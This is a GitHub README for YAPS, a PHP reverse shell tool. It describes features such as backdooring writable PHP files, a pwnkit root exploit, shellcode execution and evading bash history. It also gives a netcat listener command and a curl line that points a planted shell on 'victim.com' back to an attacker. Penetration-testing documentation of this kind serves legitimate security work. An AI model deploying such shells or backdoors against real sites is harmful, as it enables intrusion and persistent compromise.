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https://github.com/Nickguitar/YAPS

Yet Another PHP Shell - The most complete PHP reverse shell
https://github.com/Nickguitar/YAPS

backdoor bugbounty ctf-tools cve-2021-4034 exploit hacking netcat netcat-reverse penetration-testing pentest pentest-script pentest-tool pentesting php rat reverse-shell reverse-tcp web-shell webhacking

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Yet Another PHP Shell - The most complete PHP reverse shell

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# YAPS - **Y**et **A**nother **P**HP **S**hell

![image](https://user-images.githubusercontent.com/3837916/152913972-59b182f7-aa98-4b48-bb60-16dfdcc02fc3.png)

Yes, as the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there, but with some advantages. It is a single PHP file containing all its functions and you can control it via a simple TCP listener (e.g. `nc -lp 1337`).

In the current version (1.5), its main functions support only linux systems, but i'm planning to make it work with Windows too.

It's currently in its first version and I haven't tested it much yet, and *there are still many things I intend to do and improve for the next versions (**it's not done yet!**)*, so please let me know if you've found any bugs or have some suggestion for feature or improvement. =)

## Features
* Single PHP file (no need to install packages, libs, or download tons of files)
* Works with netcat, ncat, socat, multi/handler, almost any listener
* Customizable password protection
* No logs in .bash_history
* Does some enumeration
* Network info (interfaces, iptables rules, active ports)
* User info
* List SUID and GUID files
* Search for SSH keys (public and private)
* List crontab
* List writable PHP files
* Auto download LinPEAS, LinEnum or Linux Exploit Suggester
* Write and run PHP code on remote host
* Spawn an interactive reverse shell
* Duplicate as many connections as you want
* Auto update
* Infect PHP files with backdoors
* Auto reverse root shell via pwnkit (CVE-2021-4034)
* **[NEW] Send and execute shellcode**

## Cons
* Connection isn't encrypted (yet) (nc does not support SSL)
* Not fully interactive (although you can spawn an interactive shell with `!interactive`)
* CTRL+C breaks it; can't use arrows to navigate (unless you use `rlwrap nc -lp `)

## Usage
1. Set up a TCP listener;
2. Set your IP and port. This can be done by:
* 2.1 Editing the variables at the start of the script;
* 2.2 Setting them via post request (`curl -x POST -d "x=ip:port" victim.com/yaps.php`);
3. Open yaps.php on browser, curl it or run via CLI;
* 3.1 You can set `yaps.php?s` or `yaps.php?silent` to supress the banner
* 3.2 You can run via CLI with `php yaps.php ip port`
5. Hack!

## Working commands
* `!help - Display the help menu`
* `!all-colors - Toggle all colors (compatible with colorless TTY)`
* `!color - Toggle PS1 color (locally only, no environment variable is changed)`
* `!duplicate - Spawn another YAPS connection`
* `!enum - Download LinPEAS and LinEnum to /tmp and get them ready to use`
* `!info - list informations about the target (the enumeration I mentioned above)`
* `!infect - Infect writable PHP files with backdoors`
* `!interactive - Spawn interactive reverse shells on other ports (works w/ sudo, su, mysql, etc.)`
* `!passwd - Password option (enable, disable, set, modify)`
* `!php - Write and run PHP on the remote host`
* `!pwnkit - Tries to exploit CVE-2021-4034 and spawn a root revere shell`
* `!shellcode - Send and run shellcode on the remote host`
* `!suggester - Download Linux Exploit Suggester to /tmp and get it ready to use`

## Screenshots

Click to expand screenshots section

### Current commands:
![commands](https://user-images.githubusercontent.com/3837916/153728054-82ab16ab-99b1-4113-863a-01f8fbeb6d04.png)

### Doing some recon:
![image](https://user-images.githubusercontent.com/3837916/127257433-778b1322-c82e-4857-897f-0f3f459dcb2b.png)

### Root reverse shell through CVE-2021-4034
![pwn](https://user-images.githubusercontent.com/3837916/152597200-267704b9-0d50-4bcd-a68f-3c8ea6c74c21.gif)

### Sending and running shellcode!
![shellcode](https://user-images.githubusercontent.com/3837916/153727126-a57c95a5-6447-4988-a57b-851b808df93e.gif)

### Spawning a interactive shell
![interactive](https://user-images.githubusercontent.com/3837916/153728966-ed70a9ff-29c4-435e-898f-6180df7ac048.gif)

### Duplicating a YAPS session
![duplicate](https://user-images.githubusercontent.com/3837916/153727468-dbbb6ef6-6461-4f2a-95dc-32940d797a39.gif)

### Poisoning PHP files
![infect](https://user-images.githubusercontent.com/3837916/127263363-e286357c-2be0-4890-8895-4bd5adadd3af.gif)

### Writing remote PHP code
![remotephp](https://user-images.githubusercontent.com/3837916/124774830-7dedab80-df14-11eb-9e84-c8d88b9f4de2.png)

### Password protected shell
![passprotected](https://user-images.githubusercontent.com/3837916/127260459-cc50203d-3ba6-408b-af0f-820756e9891d.png)

## Changelog

**v1.5 - 12/02/2022**
- Added `!shellcode` to receive and run an arbitrary shellcode
- Improved `duplicate()` function (you can now a range of ports)
- Changed function name from `stabilize` to `interactive`
- Packed embeded codes to save space
- Fixed broken links
- Prepend "TERM=xterm" to all commands
- Minor improvements

**v1.4 - 04/02/2022**
- Added `!pwnkit` to exploit CVE-2021-4034 and spawn a root reverse shell
- Improved `verify_update()` function
- Minor improvements

**v1.3.1 - 01/08/2021**
- Bugs fixed

**v1.3 - 28/07/2021**
- Added `!infect` to infect PHP files with backdoors
- Changed `!stabilize` payload (bugs fixed)

**v1.2.2 - 18/07/2021**
- Changed 'update' function
- Changed 'connect' function
- Improved 'download' function
- Bugs fixed

**v1.2.1 - 17/07/2021**
- Bugs fixed

**v1.2 - 17/07/2021**
- Added `!duplicate` to spawn another shell
- Added update verification (`--update|-u`)
- Added CLI arguments (`--help|-h`)
- Added socket via arguments (`php yaps.php ip port`)
- Changed stabilize shell method (doesn't freeze anymore)
- Changed download method
- Changed connection method via POST (receives a single parameter)

**v1.1 - 12/07/2021**
- Added `!all-colors` to toggle terminal colors and work with colorless TTYs
- Added `exit` command to close socket (leave shell)
- Changed payload in `!stabilize` to unset HISTSIZE and HISTFILE
- Changed the method of obtaining CPU and meminfo in `!info`

**v1.0.1 - 08/07/2021**
- Changed `[x,y,z]` to `array(x,y,z)` to improve compatibility with older PHP versions
- Changed payload for interactive shell to work with PHP<5.4

## Credits
Some ideas were inspired by this tools:

#### Linpeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

#### Linenum
https://github.com/rebootuser/LinEnum

#### Suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

#### Pentest Monkey
https://github.com/pentestmonkey/php-reverse-shell

#### Arthepsy exploit for pwnkit
https://github.com/arthepsy/CVE-2021-4034/